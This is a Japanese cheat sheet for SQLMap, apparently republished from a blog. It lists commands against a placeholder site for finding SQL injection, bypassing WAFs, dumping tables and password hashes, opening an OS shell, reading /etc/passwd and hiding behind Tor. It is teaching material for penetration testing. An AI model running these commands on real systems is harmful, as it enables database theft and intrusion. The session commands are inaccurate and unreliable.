著者: Trix Cyrus
SQLMap とは何ですか?
SQLMap は、Web アプリケーションの SQL インジェクションの脆弱性を検出して悪用するために使用されるオープンソースの侵入テスト ツールです。 MySQL、PostgreSQL、Oracle、Microsoft SQL Server などのさまざまなデータベース システムをサポートしています。
基本的な使い方
SQLMap を開始するには、ターゲット URL:
を指定することで、最も単純な形式で SQLMap を実行できます。
sqlmap -u "http://example.com/index.php?id=1"
このコマンドは、SQL インジェクションの脆弱性についてターゲット URL をスキャンします。
1.脆弱性の検出
基本的な脆弱性スキャンを実行し、SQL インジェクション ポイントを自動的に検出するには、次のオプションを使用します:
sqlmap -u "http://example.com/index.php?id=1" --dbs
--dbs: 脆弱性が見つかった場合、ターゲット サーバー上で利用可能なすべてのデータベースをリストします。
2. POST リクエストの指定
POST リクエスト (通常はログインフォーム) を必要とするターゲットの場合、次のようにデータを指定できます:
sqlmap -u "http://example.com/login.php" --data="username=admin&password=1234"
3. WAF とフィルターのバイパス
Web アプリケーション ファイアウォール (WAF) を回避するために、SQLMap にはペイロード難読化技術が含まれています。
sqlmap -u "http://example.com/index.php?id=1" --tamper=space2comment
--tamper: 改ざんスクリプトを使用してフィルターを回避します。例: space2comment、charencode.
4.データベース、テーブル、列の抽出
ターゲット システム上のデータベースのリストを取得するには:
sqlmap -u "http://example.com/index.php?id=1" --dbs
データベースが特定されたら、そのテーブルを抽出します。
sqlmap -u "http://example.com/index.php?id=1" -D database_name --tables
特定のテーブルから列を取得するには:
sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --columns
5.データをダンプしています
テーブルの内容のダンプは、SQLMap の最も便利な機能の 1 つです。たとえば、特定のテーブルからすべてのデータをダンプするには:
sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --dump
6.データベース ユーザーとパスワードの列挙
SQLMap は、データベース ユーザーを列挙したり、ハッシュ化されたパスワードを解読したりするためにも使用できます。
sqlmap -u "http://example.com/index.php?id=1" --users sqlmap -u "http://example.com/index.php?id=1" --passwords
7.オペレーティング システムへのアクセス
場合によっては、特にデータベース ユーザーが高レベルの権限を持っている場合、SQLMap を使用してオペレーティング システム上でコマンドを実行できます。
sqlmap -u "http://example.com/index.php?id=1" --os-shell
これにより、ターゲット システム上でコマンドを実行できる対話型シェルが提供されます。
8.ファイルのアップロードと読み取り
ターゲット システムからファイルを読み取ったり、悪意のあるファイルをアップロードしたりすることもできます (許可されている場合)。
sqlmap -u "http://example.com/index.php?id=1" --file-read="/etc/passwd" sqlmap -u "http://example.com/index.php?id=1" --file-write="/path/to/file" --file-dest="/destination/path"
9.匿名性のために Tor を使用する
自分の身元を隠すには、Tor ネットワーク経由で SQLMap を実行できます。
sqlmap -u "http://example.com/index.php?id=1" --tor --tor-type=SOCKS5 --check-tor
--tor: Tor を有効にします。
--check-tor: 接続が Tor 経由で行われたかどうかを確認します。
10.セッションの保存と再開
SQLMap では、--session オプションを使用して進行状況を保存して再開できます。
sqlmap -u "http://example.com/index.php?id=1" --session=your_session_name
後で、次の方法で同じセッションを再開できます。
sqlmap -r your_session_name
11.詳細モード
SQLMap の動作に関する詳細情報を表示するには:
sqlmap -u "http://example.com/index.php?id=1" -v 3
-v オプションは冗長性を制御します (レベル 0 から 6、6 はすべての詳細を示します)。
SQLMap は、ファイルに保存されている複数の URL のスキャンをサポートしています:
sqlmap -m urls.txt --batch
--batch: デフォルトのオプションを使用してすべてのプロンプトに自動的に応答します。これは自動スキャンに役立ちます。
スキャンを進めるには、--risk=3 と --level=5 も使用します
このチートシートを使用すると、読者に SQLMap の重要なコマンドを紹介し、SQL インジェクション テストを始めるのに役立ちます。
~TrixSec
以上がSQLMap チートシート: 自動 SQL インジェクションのクイックガイドの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。